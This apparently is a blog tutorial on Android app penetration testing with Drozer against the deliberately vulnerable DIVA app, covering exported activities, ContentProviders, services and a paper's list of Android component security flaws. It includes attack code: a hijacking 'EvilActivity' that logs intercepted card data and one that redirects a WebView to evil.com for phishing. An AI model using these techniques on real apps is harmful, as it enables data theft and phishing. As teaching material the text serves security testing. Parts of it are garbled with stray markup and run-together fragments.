Menu
in ,

Pentest of Android by Drozer use

Drozer  is a must-have tool in the arsenal of any pentester. It is an army swiss knife for performing typical penetration testing tasks. Drozer allows you to get information about the application, start its activities, connect to the ContentProvider, send messages to the service, in general – everything to pull information from the application or force it to do what we need through standard APIs and communication channels.

Today Drozer is considered an outdated tool, but it still does a great job of quickly getting information about an application and its weaknesses. The recommended way to run drozer is using Docker:

$ sudo docker run -it kengannonmwr/drozer_docker

Drozer works in conjunction with an agent running on a device or emulator, you can download it here . It should be installed on the device:

$ adb install drozer-agent-2.3.4.apk

Next, launch the agent and click the Embedded Server button at the bottom of the screen. After that, you can connect to the server by going to the Drozer console:

$ drozer console connect --server IP-address-of the phone

We will use DIVA (Damn Insecure and Vulnerable App) as an experimental application. The APK is not digitally signed, so you need to sign it before installing, for example using uber-apk-signer .

ACTIVITY

A typical Drozer workflow looks like this. First, we get information about installed applications:

dz> run app.package.list

We find the experimental application in the list and get information about it:

Then we figure out which components we can try to use for exploitation:

Please note that the debug flag is enabled in the application. Next, we get a list of activities:

Trying to run them:

dz> run app.activity.start --component jakhar.aseem.diva <name_activity>

The point of this action is to check if the internal activities of the application, which should not be accessible from the outside, are not sticking out. Perhaps these activities contain confidential information.

Checking:

dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity

Indeed, the APICredsActivity contains some kind of API key, username and password. Activity APICreds2Activity contains a window with a field for entering a PIN code.

Both of these activities should obviously be used only inside the application, but due to “inattention” the developer forgot to make them non-exportable (android: exported = “false”).

If activities do not start

Starting from Android 9, running activities in the background is prohibited. Therefore, in order for Drozer to work correctly, make sure that it is always on the screen, and the smartphone screen is on.

INTERCEPTION OF INTENTS

It is even more interesting when the programmer not only forgets to make the internal activity of the application non-exportable, but also works with it not directly, but using broadcast intents. Let’s say there is some code in your application that uses the “com.example.ACTION” broadcast intent to start the activity (while transmitting sensitive data to it):

Intent intent = new Intent("com.example.ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name",name.getText().toString());
startActivity(intent);

The problem with this code is that anyone can create an activity that responds to the “com.example.ACTION” intent and intercept the data passed to it. For example, we can write an application with an activity like this in the manifest:

<activity android:name=".EvilActivity"> 
<intent-filter android:priority="999"> 
   <action android:name="com.example.ACTION" /> 
   <category android:name="android.intent.category.DEFAULT" /> </intent-filter></activity>

Add logging of intercepted confidential data to the code of this activity:

Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"));

But with Drozer, this trick is even easier:

dz> run app.broadcast.sniff --action com.example.ACTION

In general, intents are the standard way of communication in Android, both inside and outside the application. They can be used to transfer information between activities, services, and any other application component. Intents can be addressed to a specific component or be broadcast. Any other application can intercept the latter, as in the example above.

INTERCEPT THE RETURN VALUE

On Android, activities can return values. This feature is used, for example, in the interface for choosing a photo to send to a friend or in the interface for choosing a file. An application can launch its own activity or the activity of any other application (using the broadcast intent) to get some value from it. And if the application uses the broadcast intent to launch its own activity, there will be problems.

Take, for example, the following code:

startActivityForResult(new Intent("com.example.PICK"), 1337);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {      super.onActivityResult(requestCode, resultCode, data); 
  if(requestCode == 1337 && resultCode == 1) {       webView.loadUrl(data.getStringExtra("url"), getAuthHeaders()); 
  }
}

This is the code for launching an activity using an intent . The value returned by this activity is used as the URL to open the web page inside the WebView. Obviously, in this example, the intent is used to launch the application’s own activity, however, as in the previous example, the developer used the broadcast intent to launch. Therefore, we can create our own activity and redirect the application to a phishing website:

com.example.PICKcom.example.PICK<activity android:name=".EvilActivity">  <intent-filter android:priority="999"> 
 <action android:name="com.victim.PICK" /> 
 <category android:name="android.intent.category.DEFAULT" /> 
 </intent-filter>
</activity>

protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); 
setResult(1, new Intent().putExtra("url", "http://evil.com/")); 
finish();
}

Broadcast intents are also used by applications to select files. In this case, a directory traversal attack can be performed using phishing activity.

ContentProvider

ContentProvider is a special application component responsible for storing data and providing access to this data to other applications. In the old days (before Android 4.0), developers often made ContentProviders open to any application. For example, the official Gmail app had a public ContentProvider that provides access to a list of emails. This allowed any third party app to get a list of recent Gmail emails by directly reading the data from the official app.

Today, this approach is considered naive and unsafe. Therefore, all that the Gmail application exposes today is the total number of unread emails, and even this information is protected by a special permission. This is easy to verify if you try to read data by URI :content://com.google.android.gmail.provider

dz> run app.provider.query content://com.google.android.gmail.provider/
Permission Denial: opening provider com.android.email.provider.EmailProvider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} (pid=15638, uid=10422) requires com.google.android.gm.email.permission.ACCESS_PROVIDER or com.google.android.gm.email.permission.ACCESS_PROVIDER

But in other applications, things may be different. Let’s go back to the DIVA application and try to get information about its ContentProviders:

dz> run app.provider.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider
Read Permission: null
Write Permission: null
Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

It can be seen that the application has one unprotected ContentProvider. Let’s get information about the URIs exported by the ContentProvider:

dz> run scanner.provider.finduris -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider
Unable to Query content://jakhar.aseem.diva.provider.notesprovider/
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes

Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes

Let’s try to read the information on the given URIs:

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
| _id | title | note |
| 5 | Exercise | Alternate days running |
| 4 | Expense | Spent too much on home theater |
| 6 | Weekend | b333333333333r |
| 3 | holiday | Either Goa or Amsterdam |
| 2 | home | Buy toys for baby, Order dinner |
| 1 | office | 10 Meetings. 5 Calls. Lunch with CEO |

The ContentProvider essentially provides direct access to the application’s database. Therefore, if it is open for reading and writing, we can easily add our own data to it:

<!-- wp:paragraph -->
<p id="p53">dz&gt; run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes<code>--integer _id 7--string title xakep.ru--string note 'Hi from ]['</code></p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p id="p54">dz&gt; run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p id="p55">...<br><code>| 7 | in-sight.tech | Hi from ][ |</code></p>
<!-- /wp:paragraph -->

In some cases, it is possible to perform SQL injection. Drozer is able to automatically check the application for this vulnerability:

dz> run scanner.provider.injection -a com.example.app

Some applications use ContentProviders to share files in their private directory. In this case, it is sometimes possible to perform a directory traversal attack. Drozer allows you to check this option too:

dz> run scanner.provider.traversal -a com.example.app

SERVICES

Another type of application component in Android is services. Most often they are used to perform work in the background and in modern versions of Android they must have an icon in the status bar (otherwise the system will kill the service in five minutes). The DIVA application has no services, it is easy to check with this command:

dz> run app.service.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No exported services.

But even applications with a service sticking out to the outside are not so easy to operate. Usually, you first need to disassemble / decompile the application, parse the service code, and then try to send it a message that it will understand and process.

For example, a typical example of sending a message to a service might look like this:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj

OTHER POSSIBILITIES

Let’s take a brief look at other features of Drozer.

Application manifest display:

dz> run app.package.manifest com.mwr.example.sieve

Search for application with specified permissions:

dz> run app.package.list -p android.permission.INSTALL_PACKAGES

Search for application with specific UID:

dz> run app.package.list -u 1000

Search application able to show files mimetype:

dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf

Search for all apps that can open links:

dz> run scanner.activity.browsable

Show list of native database:

dz> run app.package.native jakhar.aseem.diva

Sending broadcast intents:

dz> run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com

BONUS

What other problems and vulnerabilities can be found in applications? There are many, the authors of Security Code Smells in Android ICC have compiled a detailed list of such problems. They took 700 open source apps from the F-Droid repository and analyzed them using the dedicated AndroidLintSecurityChecks tool.

All problems are grouped into twelve categories:

  • SM01: Persisted Dynamic Permission. Android has a mechanism for granting another application temporary access to some of its ContentProvider’s URIs. This is done using the method . If the application calls it, but does not call it to revoke access, there is a problem. Context.grantUriPermission()Context.revokeUriPermission()
  • SM02: Custom Scheme Channel. Any application can register its own URI scheme, such as  , regardless of whether another application uses such a scheme. As a consequence, sending sensitive data using custom URI schemes is highly insecure.myapp://
  • SM03: Incorrect Protection Level. On Android, any application can create its own permission to access its data. But there is a problem: if you specify the wrong protection level, it may not work. If the developer wants the user to see the permission request dialog, he must use the security level dangerous or siganture if only an application with the same digital signature should receive this permission.
  • SM04: Unauthorized Intent. Any Android application can register itself as a handler for certain types of intents. By default, this handler will be open to the world, but it can be protected with a permission system and strong input validation.
  • SM05: Sticky Broadcast. Any application can send intent to another application. Moreover, it can send the broadcast intent to all applications at once, and it will be processed by the first application that can receive it. But it is also possible to send a broadcast sticky-intent, which after being processed by one application will still be delivered to other applications. To prevent this from happening, you should not use such intents, and it is better not to use broadcast intents at all.
  • SM06: Slack WebViewClient. The WebView component allows applications to display web pages within their interface. By default, it does not filter open URLs in any way, which can be used, for example, for phishing. Developers should either use a whitelist of addresses or check using the SafetyNet API.
  • SM07: Broken Service Permission. Applications can provide access to their functionality using services. An attacker can use this capability to run code with elevated authority (service authority). To avoid this, the service must check the credentials of the calling application using the method .Context.checkCallingPermission()
  • SM08: Insecure Path Permission. Some applications provide access to their data via ContentProvider’a that addresses data using a UNIX-like way: . The programmer can open access to his ContentProvider, but cut off access to some paths (for example, to  ). But there is a problem: developers often use the UriMatcher class to compare paths, and, unlike Android, it compares them without taking into account double slashes. From here, errors can occur when allowing and denying access./a/b/c/data/secret
  • SM09: Broken Path Permission Precedence. A similar problem to the previous one. When describing the ContentProvider in the manifest, the developer can specify what permissions the application needs to access certain paths. But there is a bug in Android, which makes it prefer more global paths. For example, if an application gives access to  everyone, but uses a special permission to access  , then in the end everyone will be able to access  ./data/data/secret/data/secret
  • SM10: Unprotected BroadcastReceiver. In fact, an analogue of the SM04 problem, but extending exclusively to BroadcastReceivers (special intent handlers).
  • SM11: Implicit PendingIntent. In addition to intents, Android has an entity called PendingIntent. These are a kind of deferred intents that can be sent later and even by another application on behalf of the application that created the intent. If PendingIntent is broadcast, then any application can intercept it and send an intent on behalf of this application.
  • SM12: Common Task Affinity. Ана­лог проб­лемы StrandHogg.

The paper also provides a lot of analytical data. For example, according to statistics, new applications have fewer holes than old ones. There are also more holes in applications that more than five people develop. And of course: more code means more vulnerabilities.

Examples of errors can also be found in the android-app-vulnerability-benchmarks repository . It contains source codes for applications with various vulnerabilities, each of which is supplied with a detailed description of the vulnerability and a fixed version.

CONCLUSIONS

As you can see, despite its venerable age, Drozer still does its job better than many other tools. Its obvious advantage is its text-based interface, which allows using commands to perform many tasks for which you would otherwise have to write your own software. The disadvantage is the same – not everyone is able to digest such an interface in 2021.

Written by Black Bunny

Leave a Reply